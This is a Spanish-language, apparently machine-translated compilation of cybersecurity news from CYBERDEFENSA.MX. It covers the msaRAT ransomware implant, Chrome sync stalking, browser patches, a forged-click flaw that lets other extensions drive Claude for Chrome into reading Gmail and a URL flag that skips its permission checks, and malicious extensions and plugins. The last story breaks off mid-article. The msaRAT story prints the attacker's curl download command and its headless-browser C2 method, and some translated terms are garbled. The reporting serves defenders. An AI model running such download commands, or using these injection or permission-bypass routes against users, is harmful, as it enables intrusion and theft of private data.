Chaos Ransomware utiliza msaRAT para enrutar el tráfico C2 a través de Chrome y Edge sin cabeza – CYBERDEFENSA.MX

El grupo de ransomware Chaos ejecutó su comando y control a través del propio navegador de la víctima. Cisco Talos el jueves msaRAT detalladoel implante Rust detrás de él, encontrado en una máquina Windows comprometida delante del cifrador.

El implante nunca abre una conexión saliente propia. Su proceso habla con 127.0.0.1 y nada más. Inicia Chrome o Edge en modo sin cabeza y dirige el navegador a través del protocolo Chrome DevTools, la API de depuración propia del navegador.

Cada mensaje C2 viaja desde allí a través de un canal de datos WebRTC transmitido por el servicio TURN de Twilio, por lo que lo que un defensor ve en el cable es un navegador que llama a Cloudflare y Twilio. La dirección del servidor del atacante nunca aparece.

Chrome habla

msaRAT busca primero Chrome o Edge a través de variables de entorno y luego recurre al registro de Chrome. Si no se encuentra ningún navegador coincidente, se omite la ruta CDP.

Cuando encuentra uno, inicia el navegador sin una ventana visible usando --headless=newhabilita CDP con --remote-debugging-porty lo apunta a un punto separado --user-data-dir.

Desde Cromo 136Google ya no respeta el interruptor de depuración del perfil predeterminado, un cambio anunciado en marzo de 2025 después de que los ladrones de información tomaran la bandera por robo de cookies. msaRAT trae su propio directorio de perfiles, por lo que el cambio no se interpone en su camino. Nada en el análisis de Talos muestra que toque en absoluto el perfil de la víctima.

Ciberseguridad

El malware pregunta /json/list/ para un destino depurable y se conecta a la URL de WebSocket devuelta. Crea una pestaña, desactiva la Política de seguridad de contenido con Page.setBypassCSPregistra cinco devoluciones de llamada a través Runtime.addBindingy llamadas Runtime.evaluate para inyectar JavaScript almacenado en texto sin formato en el binario .rdata sección.

Cuatro nombres de devolución de llamada, msaOpen, msaClose, msaErrory msaMessagele dio a Talos el nombre del malware. El quinto es dataAck.

Ese JavaScript obtiene la configuración STUN y TURN de un trabajador de Cloudflare en is-01-ast[.]ols-img-12[.]workers[.]devcon encabezados Origin y Referer disfrazados de tráfico del sitio de Microsoft. Crea una conexión entre pares y publica una oferta SDP en el mismo punto final.

La respuesta regresa sin candidatos ICE y la dirección de conexión establecida en 0.0.0.0por lo que no se puede formar ningún enlace directo de igual a igual, y todo el canal pasa por el relé de Twilio en global.turn.twilio.com. Una vez que el canal de datos está activo, el Trabajador se sale del camino.

El tráfico en ese canal se cifra dos veces. El navegador maneja DTLS y en su interior se encuentra un esquema basado en ChaCha-Poly1305 codificado por un intercambio ECDH que comienza con 0xFE marco de apretón de manos desde el C2 inmediatamente después de la conexión.

El implante pasa los marcos de comando entrantes a cmd.exe /e:ON /v:OFF /d /c para su ejecución. Talos considera que la cola de envío y el control de flujo probablemente estén diseñados para mover grandes cargas útiles, como capturas de pantalla o archivos, de manera confiable.

Ni la mitad del transporte es nueva. Pretoriano mostrado en agosto de 2025. que la infraestructura TURN de las plataformas de conferencias podría transportar un canal C2 completo, y Sansec encontró un skimmer en marzo de 2026 utilizar canales de datos WebRTC para pasar los datos de tarjetas robadas más allá de la inspección HTTP.

msaRAT coloca ambos dentro de un implante Rust vinculado al Caos que impulsa un navegador sin cabeza a través de CDP.

El camino de entrada es el mismo de siempre

msaRAT llega después de que el operador ya haya ejecutado y antes de que se ejecute el cifrador. Talos no dice cómo se llegó a esta máquina. el grupo libro de jugadas documentado Se trata de inundaciones de spam, vishing, Quick Assist y herramientas RMM para la persistencia.

El implante en sí baja con un único comando de flexión:

curl.exe https://172.86.126[.]18:443/update_ms.msi -o C:\programdata\update_ms.msi

Puerto 443, HTTP simple. Las reglas de firewall escritas alrededor de números de puerto sin inspección de protocolo lo dejan pasar. El MSI transporta datos de propiedad que se hacen pasar por una actualización de Windows y se activa una acción personalizada al final de la instalación para cargar una DLL integrada directamente en la memoria.

Esa DLL es msaRAT: escrita en Rust en el tiempo de ejecución asíncrono de Tokio, exportando una función llamada RUN para que el instalador llame.

Notas de caza

msaRAT es un malware posterior al compromiso y no depende de una vulnerabilidad de Chrome o Edge, por lo que los defensores no tienen ningún parche de navegador que aplicar para la técnica en sí.

La señal que perdura es el comportamiento del proceso. Como dice Talos, «se considera que todas las comunicaciones externas se originan en un proceso de navegación legítimo». Busque Chrome o Edge iniciado por un instalador, un servicio u otro padre no interactivo con --headless=new y --remote-debugging-port colocar.

Luego correlacione ese proceso con el tráfico de bucle invertido al puerto de depuración y al WebRTC saliente. Donde la telemetría captura mensajes CDP, Runtime.addBinding y Runtime.evaluate son los pivotes. Las flotas que ejecutan automatización de navegadores o CI tendrán sus propios trabajos sin cabeza para ajustar.

Ciberseguridad

Hasta el 23 de julio de 2026, Talos no ha publicado ningún hash de archivos para msaRAT. El conjunto de indicadores públicos son dos artefactos de red, la IP provisional y el nombre de host del trabajador, ambos en su repositorio del COI. Cobertura de detección de Talos:

  • almeja AV: Win.Downloader.ChaosRaas-10060321-0
  • Bufido 2: 1:66839, 1:66840, 1:66841
  • Bufido 3: 1:66839, 1:301587

Esos indicadores son útiles pero limitados. workers.dev es Dominio de implementación compartido de Cloudflareemitido para todas las cuentas de Workers, y los atacantes lo utilizaron el año pasado para organizar cargas útiles y túnel C2.

Twilio ejecuta un servicio STUN y TURN legítimo del que dependen las aplicaciones WebRTC reales. Bloquee cualquiera de los dos a nivel de organización e interrumpirá el tráfico de trabajo para todos los que los utilicen. Talos lo lee como la razón probable por la que se eligió a Cloudflare Workers para la señalización.

Trate esto como una artesanía observada en lugar de una campaña mesurada. El informe no identifica a la víctima, no establece cuántas organizaciones recibieron msaRAT, no dice cuándo comenzó a utilizarse el malware ni explica cómo se obtuvieron las credenciales de Cloudflare Worker y Twilio TURN.

La entrega no tiene nada de especial: una descarga curl, una actualización falsa de Windows, una DLL cargada desde un MSI. Lo que cambia es dónde vive el C2 después, y ambos indicadores publicados por Talos se pueden cambiar mañana. Un navegador sin cabeza generado por un instalador es más difícil de mover porque es la técnica.

msaRAT busca dos navegadores y necesita que uno de ellos esté presente y autorizado. En una flota de Windows, ese no es un requisito exigente.

Game Cheat Spyware, 24-Hour Ransomware, Chrome Sync Stalking + 12 More Stories – CYBERDEFENSA.MX

A lot of this week’s trouble starts with something that looks close enough.

A familiar repo. A useful installer. A harmless sync setting. Then the handoff goes bad, the box starts talking to someone else, and the damage moves faster than the explanation.

Old bugs are back, weak defaults are earning their keep, and some attack paths are so plain they barely feel like research. Here’s the mess.

The lesson is not “trust nothing.” It is to stop granting trust in bulk. Check the repo, the installer, the account, the exposed service. Small shortcuts keep turning into full attack paths.

And when a bug looks old, awkward, or too simple to matter, assume someone has already found a use for it. Patch the boring stuff. Tighten the defaults. Watch the handoffs.

Cómo los acosadores aprovechan la sincronización de Google Chrome para espiar a las víctimas

Según los investigadores, los acosadores cibernéticos están explotando cada vez más una función de Google Chrome destinada a la comodidad del usuario de teléfonos móviles, pero que puede dar a los intrusos un amplio acceso a la información privada del propietario del dispositivo.

Certo Software dijo en un publicación de blog El martes, los acosadores están haciendo uso de la capacidad de sincronización de Chrome (destinada a que iniciar sesión en Chrome en un dispositivo también sea más fácil hacerlo en otros dispositivos) para espiar el historial de navegación del propietario de un teléfono y obtener acceso a sus contraseñas almacenadas.

Como ejemplo, Certo utilizó el caso de una víctima seudónima, Emma, ​​que había buscado un abogado de familia y visitó un sitio web de apoyo a la violencia doméstica mientras su pareja dormía, solo para que él se lo dijera dos días después.

«Emma había tenido cuidado de usar sólo su propio dispositivo y no había notado que aparecieran nuevas aplicaciones en su teléfono», escribió el cofundador de Certo, Russell Kent-Payne. «Lo que ella no sabía era que semanas antes, durante unos minutos sin supervisión con su teléfono, él había abierto la aplicación Chrome y silenciosamente había iniciado sesión en su propia cuenta de Google. A partir de ese momento, cada sitio que ella visitaba se copiaba directamente a su cuenta, visible desde cualquier dispositivo, en cualquier parte del mundo».

La vigilancia es tan fácil como eso: acceso breve a un teléfono, iniciar sesión en una cuenta de Google y asegurarse de que la sincronización esté activada para esa cuenta.

Eva Galperin, directora de ciberseguridad de Electronic Frontier Foundation, dijo en la aplicación de redes sociales Bluesky que la investigación de Certo sirve como «un importante recordatorio de que el abuso facilitado por la tecnología no se limita sólo al stalkerware».

Certo dijo que Google podría hacer un par de cosas, como proporcionar una notificación temporal cada vez que se agrega una nueva cuenta o se activa la sincronización u ofrecer un marcador regular para indicar cuándo la sincronización está activa y con qué cuenta se está sincronizando, para proteger a los usuarios.

Google no respondió a múltiples solicitudes de comentarios sobre los hallazgos de Certo.

Pero el aumento en el uso de ese método de acecho podría ser un subproducto de los éxitos de seguridad en otros aspectos de la lucha contra el software espía, afirmó Certo.

«Los teléfonos inteligentes modernos son más difíciles que nunca de verse comprometidos. Las actualizaciones periódicas de seguridad, las reglas más estrictas de las tiendas de aplicaciones y la detección de amenazas en el dispositivo han hecho que el software espía tradicional sea una apuesta mucho más riesgosa para un ciberacosador de lo que solía ser», escribió Kent-Payne. «Como resultado, vemos cada vez más a los abusadores recurrir a algo mucho más simple: las aplicaciones legítimas que ya están instaladas en el teléfono de su víctima. Sin instalación, sin permisos sospechosos, sin consumo de batería revelador; simplemente un mal uso silencioso de una característica que la víctima nunca supo que existía».

Al mismo tiempo, Chrome es el navegador más popular del mundo y esta no es la primera vez que surgen preocupaciones de seguridad. apareció sobre su función de sincronización, entre otras preocupaciones.

Tim Starks

Escrito por Tim Starks

Tim Starks es reportero senior de CyberScoop. Sus paradas anteriores incluyen trabajar en The Washington Post, POLITICO y Congressional Quarterly. Originario de Evansville, Indiana, se ocupa de la ciberseguridad desde 2003. Envíe un correo electrónico a Tim aquí: tim.starks@cyberscoop.com.

Las actualizaciones de Firefox, Chrome, Adobe y VMware solucionan múltiples fallos de seguridad críticos – CYBERDEFENSA.MX

Mozilla tiene liberado actualizaciones para abordar dos fallas críticas en Firefox para las cuales advirtió que se ha publicado un código de explotación.

Las vulnerabilidades se enumeran a continuación:

  • CVE-2026-15718un puntero no válido en JavaScript: componente WebAssembly
  • CVE-2026-15719un aislamiento del sitio en el DOM: componente de navegación

«Somos conscientes de que el código de explotación para esto es público, sin embargo, no tenemos conocimiento de ningún ataque en la naturaleza que aproveche esta falla», dijo Mozilla en un aviso. Ambas vulnerabilidades se solucionaron en la versión 152.0.6 de Firefox.

El lanzamiento llega como Google. enviado corrige 15 fallas de seguridad, incluidos dos errores críticos de uso después de la liberación en Ozono (CVE-2026-15764 y CVE-2026-15765), una capa de abstracción multiplataforma que permite al navegador interactuar de forma nativa con varios servidores de visualización y sistemas de ventanas. Es compatible con Linux, ChromeOS y Fuchsia.

Ciberseguridad

«El uso gratuito en Ozone en Google Chrome en Linux anterior a 150.0.7871.125 permitió a un atacante remoto que convenció a un usuario a realizar gestos específicos en la interfaz de usuario para explotar potencialmente la corrupción del montón a través de una página HTML diseñada», según una descripción de CVE-2026-15764 en la Base de datos nacional de vulnerabilidad (NVD) del NIST.

Las deficiencias se han solucionado en la versión 150.0.7871.124/.125 de Chrome para Windows y Mac y en la 150.0.7871.124 para Linux.

En un desarrollo relacionado, Adobe ha publicado actualizaciones de seguridad para 88 vulnerabilidades, incluidos múltiples errores de gravedad crítica en ColdFusion, Commerce, Experience Manager e Illustrator. De estos, ocho impacto Adobe ColdFusion

  • CVE-2026-48318 (Puntuación CVSS: 9,9): una vulnerabilidad de recorrido de ruta que podría conducir a la ejecución de código arbitrario
  • CVE-2026-48322 (Puntuación CVSS: 9,6): una vulnerabilidad de inyección de código que podría provocar la ejecución de código arbitrario.
  • CVE-2026-48284 (Puntuación CVSS: 9,6): una vulnerabilidad de validación de entrada incorrecta que podría provocar la ejecución de código arbitrario
  • CVE-2026-48321 (Puntuación CVSS: 9,3): una vulnerabilidad de autorización incorrecta que podría provocar una escalada de privilegios
  • CVE-2026-48325 (Puntuación CVSS: 9,3): falta de autenticación para una vulnerabilidad de función crítica que podría provocar la ejecución de código arbitrario
  • CVE-2026-48319 (Puntuación CVSS: 9,1): una vulnerabilidad de recorrido de ruta que podría conducir a la ejecución de código arbitrario
  • CVE-2026-48324 (Puntuación CVSS: 9,1): una vulnerabilidad de inyección SQL que podría provocar la ejecución de código arbitrario
  • CVE-2026-48327 (Puntuación CVSS: 9,0): una vulnerabilidad de autorización incorrecta que podría provocar la ejecución de código arbitrario
Ciberseguridad

Las fallas de CodeFusion se han solucionado en las versiones ColdFusion 2025 Update 11 y ColdFusion 2023 Update 22. Adobe también corrigió dos fallas críticas cada una en Código abierto de Adobe Commerce y Magento y Administrador de experiencia de Adobe

  • CVE-2026-48356 (Puntuación CVSS: 9,6): una vulnerabilidad de carga de archivos en Adobe Commerce y Magento Open Source que podría provocar una escalada de privilegios.
  • CVE-2026-48358 (Puntuación CVSS: 9.1) – Una codificación inadecuada o una vulnerabilidad de escape de salida en Adobe Commerce y Magento Open Source que podría conducir a la ejecución de código arbitrario.
  • CVE-2026-48259 (Puntuación CVSS: 9,6): una vulnerabilidad de falsificación de solicitudes del lado del servidor en Adobe Experience Manager que podría provocar la ejecución de código arbitrario.
  • CVE-2026-48359 (Puntuación CVSS: 9,6): una restricción inadecuada de la vulnerabilidad de referencia de entidad externa XML en Adobe Experience Manager que podría provocar la ejecución de código arbitrario.

En otros lugares, Broadcom ha liberado una solución para una vulnerabilidad crítica de omisión de autenticación en VMware Avi Load Balancer (CVE-2026-47865puntuación CVSS: 9,8) que un usuario malintencionado con acceso a la red puede aprovechar para acceder al plano Avi Control. A Filip Waeytens, del Centro de Seguridad Cibernética de la OTAN (NCSC), se le atribuye el mérito de descubrir e informar la falla.

Aunque ninguna de las vulnerabilidades ha sido marcada como explotada activamente, es esencial que las organizaciones instalen las últimas actualizaciones, dado que se sabe que los actores de amenazas utilizan las fallas de estos productos como armas en los ataques.

Los investigadores dicen que Claude por la falla de Chrome permite que las extensiones no autorizadas activen lecturas de Gmail – CYBERDEFENSA.MX

Cualquier otra extensión del navegador que pueda ejecutar un script en claude.ai aún puede activar tareas de Claude para Chrome dirigidas a su Gmail, su último documento de Google y sus comentarios, y su Calendario.

Tanto esto como ClaudeBleed necesitan una extensión maliciosa que ya pueda ejecutar un script en claude.ai; la diferencia es el alcance. Anthropic restringió el camino arbitrario en mayo como parte de su respuesta a la claude sangrar defecto, agrupar a las personas que llaman externamente en un conjunto fijo de tareas, pero Seguridad múltiple dice que la brecha aún está abierta en v1.0.80, la versión actual, ocho versiones después.

Si ejecuta Claude para Chrome y cualquier otra extensión que pueda tocar claude.ai, está dentro del alcance. En el modo predeterminado «preguntar antes de actuar», la tarea falsificada aún aparece en un cuadro de aprobación en el que debe hacer clic.

Si activó «Actuar sin preguntar», el modo de automatización sin intervención, se ejecuta sin ningún aviso. La medida más rápida es desactivar «Actuar sin preguntar» y revisar cualquier extensión con permiso para leer o cambiar datos en claude.ai. Eso restaura el paso de aprobación pero no elimina la ruta de clic falsificada y no hay parche a partir del 14 de julio.

The Hacker News descomprimió la versión actual y confirmó que ambos mecanismos permanecen en la versión 1.0.80.

El gatillo acepta un clic falsificado.

Después claude sangrarAnthropic dejó de permitir que la página le entregara a Claude cualquier texto que quisiera y encajonó a las personas que llamaban externas en nueve ID de tareas fijas integradas en el paquete de extensión.

Tres son indicaciones de práctica de incorporación, tres impulsan DoorDash, Salesforce y Zillow, y las últimas tres, usecase-gmail, usecase-gdocsy usecase-calendarson los que leen tu correo, tu último documento y sus comentarios, y tu calendario. La lista de permitidos es una mejora real. El paje ya no puede poner palabras en boca de Claude.

Ciberseguridad

El punto débil es lo que aprieta el gatillo. Un script de contenido en la extensión escucha en claude.ai un clic en un elemento específico (#claude-onboarding-button), lee su data-task-idy si el ID es una de las nueve tareas incluidas en la lista permitida, envía a la extensión un open_side_panel mensaje que lo lleva. El panel se abre con el mensaje coincidente cargado. Lo que el manejador nunca verifica es event.isTrustedla bandera del navegador que le indica a un usuario real que haga clic en uno de los scripts enviados.

Por lo tanto, cualquier extensión cuyo script de contenido pueda llegar al DOM en claude.ai puede crear el elemento, establecer el ID de la tarea y enviar un clic sintético. La extensión lo trata como un grifo genuino. Manifold demostró el disparador con seis líneas pegadas en la consola claude.ai, con isTrusted: false en los registros que confirman que se respetó el clic falso.

Con el control del navegador activado, el valor predeterminado una vez que finaliza la incorporación, ese clic falsificado carga el usecase-gmail tarea en el panel. En el modo predeterminado, todavía hay un cuadro de aprobación entre esa lectura y cualquier lectura real, y el usuario debe hacer clic en él. Manifold califica la falla CVSS como 7.7 Alta en ese modo y 9.6 Crítica una vez que un usuario ha habilitado «Actuar sin preguntar», donde la misma tarea se ejecuta silenciosamente.

La solución de una sola línea, dicen los investigadores, rechaza los clics sintéticos en la parte superior del controlador. No se ha enviado.

Un defecto más silencioso se encuentra debajo

El segundo problema no es ni remotamente abordable hoy en día, pero es lo que elimina el paso de aprobación si alguna vez otro defecto lo expone. Cuando el panel lateral de Claude se carga con ?skipPermissions=true en su URL, arranca directamente en skip_all_permission_checks y comienza a actuar sin preguntar.

Sin gesto, sin pantalla de consentimiento. Aparece una pancarta roja que advierte que Claude ahora puede realizar la mayoría de las acciones en línea, pero solo después de que la sesión privilegiada ya se esté ejecutando. La pancarta te cuenta lo que pasó. Eso no impide que esto suceda.

Por ahora, esa URL solo puede ser creada por la propia extensión, por lo que no existe una ruta remota directa. Un error futuro que permita que un contexto con menos privilegios establezca ese parámetro podría convertir el truco del clic falsificado en una lectura de cuenta completamente silenciosa. Esa ruta podría quedar expuesta por un controlador de mensajes que acepta URL, una regresión de creación de paneles o una falla XSS en la página de opciones. La solución de Manifold es dejar de leer el modo de permiso desde la URL e iniciar el panel en modo de solicitud cada vez.

Manifold asigna el ataque funcional al Top 10 de OWASP para aplicaciones LLM como inyección de aviso indirecto, ya que el atacante activa uno de los nueve avisos permitidos de la extensión con un clic falso y el riesgo de ejecución silenciosa es una agencia excesiva. Ambos reproducen si el panel lateral está configurado en Opus, Sonnet o Fable. El error está en la extensión, no en el modelo.

Reportado en mayo, todavía en el código de envío.

Manifold informó ambos problemas el 21 de mayo en la versión 1.0.72. Anthropic los reconoció al día siguiente y luego cerró ambos. Cerró el informe sobre el clic falsificado basándose en que el problema subyacente del límite de confianza ya había sido rastreado en el informe anterior de ClaudeBleed, que Antrópico dijo «permanece abierto en espera de una solución completa».

Ciberseguridad

Cerró el informe de URL como informativo, argumentando que la extensión solo establece el parámetro para tareas que el usuario ya le indicó que ejecutara sin supervisión.

Sin embargo, el informe interno destinado a cubrir esa solución se marcó como resuelto antes del 9 de junio, y ocho versiones después, el código vulnerable no se ha movido: Manifold verificó la versión 1.0.80 el 7 de julio y encontró que el controlador de clic del script de contenido y la inicialización del panel lateral byte por byte son idénticos a la versión 1.0.72 que informó por primera vez.

Anthropic no había publicado una respuesta pública a los hallazgos de Manifold hasta el 14 de julio, y si «resuelto» significa que todavía hay una solución por llegar o que el riesgo restante no la justifica, no es algo que nadie fuera de la empresa pueda decir.

El escaneo lo confirmó. The Hacker News sacó la versión 1.0.80 del Tienda web de Chromeactualizado el 7 de julio y disponible para todos los suscriptores pagos, lo descomprimió y revisó los 90 paquetes de JavaScript: el controlador de clics de incorporación se activa con cualquier clic coincidente sin event.isTrusted protector y en el panel lateral se lee skipPermissions desde su propia URL y cambia a skip_all_permission_checks cuando esté configurado.

A partir de esa fecha, no encontramos ningún CVE para ninguno de los problemas ni ningún aviso de Anthropic.

Nada de esto es nuevo para la extensión. Una falla separada parcheada a principios de este año permitía que cualquier sitio web le inyectara indicaciones silenciosamente, y ClaudeBleed comenzó de la misma manera a fines de abril, cuando LayerX descubrió que Claude para Chrome confiaba en el origen claude.ai en lugar de verificar qué script realmente estaba hablando con él, expulsó al asistente de una extensión de permiso cero y encontró que la primera mitigación de Anthropic estaba incompleta.

LayerX llamó a ClaudeBleed un problema de ayudante confundido, un programa con autoridad real que actúa para la persona que llama equivocada. Claude Code ha mostrado una versión del mismo error: un repositorio hostil podría filtrar las claves API de Anthropic de un desarrollador. Anthropic llama a la extensión. una betay está abierto a todos los suscriptores pagos de Claude.

Coloque un agente de IA en su navegador con sus cuentas ya iniciadas, y otra extensión que pueda alcanzarlo podrá impulsar las capacidades que expone Claude, dentro del conjunto de tareas fijas y cualquier modo de aprobación que haya establecido.

Ambos hallazgos debilitan el mismo límite: Claude acepta un clic generado por un script como su intención, y su estado de permiso se puede establecer desde una URL. Ocho lanzamientos después, ese límite sigue donde lo dejó Manifold en mayo.

La extensión de Chrome Malicious Perplexity interceptó búsquedas y entradas de la barra de direcciones – CYBERDEFENSA.MX

Microsoft encontró una extensión maliciosa de Chrome que se hacía pasar por el motor de búsqueda de inteligencia artificial Perplexity y registraba silenciosamente lo que la gente buscaba. Enrutaba cada consulta y cada carácter escrito en la barra de direcciones a través de un servidor controlado por el atacante antes de redirigir a los usuarios a resultados reales.

Microsoft dice que Google lo eliminó de la tienda después de una divulgación responsable. La extensión se llamaba «Buscar perplejidad ai» (ID flkebkiofojicogddingbdmcmkpbplcd) y utilizaba un dominio similar, perplejidad-ai.[.]en línea, para pasar por el servicio real en perplexity.ai.

Equipo de investigación de Microsoft Defender dice que el objetivo era interceptar búsquedas y recopilar datos. No encontró pruebas de robo de contraseña, pero sí mucho más acceso del que un cuadro de búsqueda debería necesitar.

Una vez instalada, la extensión se establece como el motor de búsqueda predeterminado del navegador. Cuando buscó, la consulta fue primero a perplexity-ai[.]en línea, donde el servidor del atacante lo registró con los encabezados de su navegador, dirección IP y agente de usuario.

Ciberseguridad

Luego, una regla lo remitía a un motor de búsqueda real (Perplexity, Google o Bing), por lo que los resultados parecían normales. El robo se produjo en esa primera parada, antes del desvío.

La barra de direcciones lo empeoró. La extensión también apuntó las sugerencias de búsqueda en vivo del navegador (sugerir_url) al mismo dominio del atacante. Entonces su entrada fue al servidor del atacante antes de presionar Enter. No solo las búsquedas terminadas, sino cada carácter tal como lo escribiste.

Chrome permite anular el proveedor de búsqueday las extensiones legítimas las utilizan. Reescribir y redirigir su tráfico es la parte que un cuadro de búsqueda no tiene que hacer. Este solicitó que la familia de permisos declarativeNetRequest hiciera exactamente eso y luego envió un código del lado del servidor que registraba cada solicitud. Microsoft considera que esto es una prueba de que la recopilación fue deliberada, no un efecto secundario de la redirección.

La extensión también incluía reglas de redireccionamiento deshabilitadas para Google y Bing, por lo que también se podría activar la misma configuración para esos motores. Incluso dejó espacio para ejecutar código WebAssembly más tarde, algo que una simple herramienta de búsqueda no tiene por qué hacer.

Esto encaja con una serie constante de extensiones maliciosas que se esconden detrás de la marca AI. Algunos cambian el motor de búsqueda predeterminado para capturar lo que escribes. Otros secuestran el proveedor de búsqueda o hojean los chats de ChatGPT y DeepSeek. Microsoft propia investigación vinculó esa ola de lectura de chat con aproximadamente 900.000 instalaciones en más de 20.000 redes empresariales.

Ciberseguridad

La diferencia aquí es el objetivo: no tus chats de IA, sino tus búsquedas y los caracteres que escribes en la barra de direcciones, recopilados a través de la propia maquinaria de extensión de Chrome.

Si instaló «Buscar perplejidad ai», elimínelo y verifique que su motor de búsqueda predeterminado no haya cambiado. Para los equipos, Microsoft sugiere lo básico:

  • Permitir solo extensiones aprobadas a través del navegador o la política de la empresa.
  • Esté atento a cambios en la configuración de búsqueda, permisos de extensiones extraños y tráfico a dominios desconocidos.
  • Trate las herramientas de marca AI con especial sospecha y verifique el editor y el dominio antes de instalarlas.

Nadie ha sido nombrado como operador y Microsoft no dijo cuántas personas lo instalaron antes de la eliminación. La marca AI obtuvo la instalación. La anulación de la búsqueda hizo la recolección.

Se encontró un bloqueador de anuncios de Chrome con más de 10 millones de instalaciones con capacidad de inyección de secuencias de comandos inactivas

Un análisis de una popular extensión de bloqueo de anuncios de Google Chrome para YouTube ha descubierto la capacidad de ejecutar código JavaScript arbitrario.

Según Island, la extensión, denominada Bloqueo de anuncios para YouTube (ID: cmedhionkhpnakcndndgjdbohmhepckk), tiene más de 10 millones de instalaciones y lleva una insignia de Destacado en Chrome Web Store.

La descripción de la extensión indica que permite a los usuarios evitar que elementos de la página web, como anuncios, incluidos los anuncios previos al video, se muestren en la plataforma para compartir videos, así como en sitios externos que cargan YouTube. Si bien el complemento ofrece la funcionalidad prometida, también presenta capacidades para ejecutar código JavaScript arbitrario.

«También contiene los ingredientes arquitectónicos para la ejecución arbitraria de JavaScript en cualquier sitio web, activado por un único cambio de configuración del lado del servidor, sin una actualización de la extensión, sin una revisión de la tienda y sin ningún signo visible de que algo haya cambiado», investigadores Oleg Zaytsev y Shachar Gritzman dicho en un informe compartido con The Hacker News.

Ciberseguridad

«En términos prácticos, eso podría significar leer páginas, robar datos y actuar como usuario dentro de cuentas personales, aplicaciones de trabajo, paneles de administración y otras sesiones sensibles del navegador».

Vale la pena enfatizar aquí que no hay evidencia de que se haya distribuido carga útil maliciosa a los usuarios de esta manera, pero la mera presencia de la capacidad, junto con vínculos con otras extensiones de bloqueo de publicidad que desde entonces han sido eliminadas del escaparate de malware, aumenta los riesgos de privacidad y seguridad, agregó Island.

La lista de extensiones relacionadas que se han eliminado se enumera a continuación:

  • Adblock para Chrome (ID: onomjaelhagjjojbkcafidnepbfkpnee)
  • Adblock para ti (ID: ogcaehilgakehloljjmajoempaflmdci)
  • AdBlock Suite (ID: gekoepiplklhniacchbbgbhilidiojmb)

Adblock para YouTube ha estado en Chrome Web Store desde 2014, comenzando como un bloqueador de anuncios básico de YouTube antes de cambiar de propietario cuatro años después. Se descubrió que las primeras versiones de la extensión se entregaban con un kit de desarrollo de software (SDK) de inyección de anuncios llamado Unistream SDK, aunque se eliminó en junio de 2024.

Lo que ha sido constante es la presencia de rutas de inyección de scripts controladas remotamente desde febrero de 2025, lo que abre la puerta a la creación de «autorizaciones» arbitrarias.

«En el momento de nuestro análisis, el elemento de creación confiable no estaba activo en la respuesta del servidor», explicaron los investigadores. «La capacidad está inactiva, no ausente. Activarla requiere un único cambio en el servidor, sin actualización de extensión, ni revisión de la tienda».

Para agravar aún más el riesgo está el hecho de que las extensiones de bloqueadores de anuncios suelen solicitar amplios permisos para inspeccionar solicitudes, alterar páginas, ocultar elementos y ajustar su comportamiento a medida que evolucionan los sistemas publicitarios.

Específicamente, se ha descubierto que, contrariamente a su nombre, la extensión se ejecuta en cada sitio web que un usuario visita en el navegador, al tiempo que agrega una verificación que se activa solo cuando la URL actual contiene «youtube.com». Sin embargo, en realidad, la verificación solo verifica si la cadena correspondiente a «youtube.com» aparece en cualquier lugar de la URL y no valida el nombre de host, el origen del marco o el contexto del reproductor integrado.

Ciberseguridad

Esto significa que la verificación se puede omitir trivialmente colocando youtube.com en cualquier lugar de la URL, como se muestra en los siguientes patrones de URL:

  • www.facebook.com/page?ref=youtube.com
  • banco.ejemplo.com/search?q=youtube.com
  • internal.corp.com/redirect?from=youtube.com

«La preocupación no es ni una sola línea de código sospechosa», dijo Island. «Es la combinación: una extensión de alta instalación con acceso a todos los sitios, una ruta de inyección controlada remotamente, una infraestructura de inyección de anuncios previa, un cambio importante de propiedad y de base de código, y extensiones relacionadas que se eliminaron de Chrome Web Store por malware».

The Hacker News se ha puesto en contacto con el desarrollador de la extensión para solicitar comentarios y actualizaremos la historia si recibimos una respuesta.

La divulgación se produce cuando la Unidad 42 de Palo Alto Networks dijo que detectó 18 extensiones de navegador que se hacen pasar por marcas de consumo con el objetivo de monetizar a través del marketing de afiliación.

«Tras la instalación, todas las extensiones abren el dominio .shop en una nueva pestaña», Unidad 42 dicho. «El dominio .shop redirige a otro dominio. El dominio presenta una página que indica que se requieren medidas adicionales. La página cita problemas de incompatibilidad y solicita a los usuarios que instalen un navegador orientado a juegos».

Los complementos maliciosos de JetBrains roban claves API de IA mientras las extensiones de Chrome capturan los chats de Chatbot – CYBERDEFENSA.MX

Los investigadores de ciberseguridad han señalado una «campaña coordinada de malware» en JetBrains Marketplace que ha publicado no menos de 15 complementos maliciosos capaces de filtrar claves de proveedores de inteligencia artificial (IA).

«Cada complemento se presenta como un asistente de codificación de IA basado en DeepSeek y otros grandes modelos de lenguaje, que ofrece chat, confirmación de mensajes, revisión de código, búsqueda de errores y pruebas unitarias», dijo el investigador de Aikido Security, Ilyas Makari. dicho. «Funcionan exactamente como se anuncia. Sin embargo, la clave API del proveedor de IA que ingresa se filtra a un servidor controlado por el atacante».

Se dice que la actividad ha estado en curso desde finales de octubre de 2025, con nuevos complementos lanzados el 10 de junio de 2026. Dos de los complementos, CodeGPT AI Assistant y DeepSeek AI Assist, tienen más de 25.000 descargas cada uno, aunque no está claro si los recuentos son auténticos o si se han inflado para fingir su popularidad.

La lista completa de complementos se encuentra a continuación:

  • Prueba DeepSeek Junit (org.sm.yms.toolkit)
  • Confirmación de DeepSeek Git (com.json.simple.kit)
  • DeepSeek FindBugs (org.bug.find.tools)
  • Chat de IA de DeepSeek (org.translate.ai.simple)
  • DeepSeek Dev AI (com.yy.test.ai.simple)
  • Codificación de IA DeepSeek (com.dev.ai.toolkit)
  • AI FindBugs (com.json.view.simple)
  • Commitor AI Git (com.my.git.ai.kit)
  • Revisión del codificador de IA (org.check.ai.ds)
  • DeepSeek Coder AI (com.review.tool.code)
  • Asistente de codificación AI (org.code.assist.dev.tool)
  • Revisión del código DeepSeek (com.coder.ai.dpt)
  • Asistente de IA CodeGPT (com.my.code.tools)
  • Asistencia de IA DeepSeek (ord.cp.code.ai.kit)
  • Herramienta sencilla de codificación (com.dp.git.ai.tool)

Aikido Security dijo que los 15 complementos comparten una base de código similar, lo que requiere que los usuarios abran el panel de configuración e ingresen una clave API para una IA como OpenAI, SiliconFlow o DeepSeek para poder llevar a cabo la funcionalidad prometida.

Ciberseguridad

Si bien los complementos funcionan según lo previsto, se ha descubierto que tienen la capacidad de desviar de forma encubierta la clave API proporcionada a un servidor remoto («39.107.60[.]51») bajo el control del atacante sobre una solicitud HTTP en formato de texto plano.

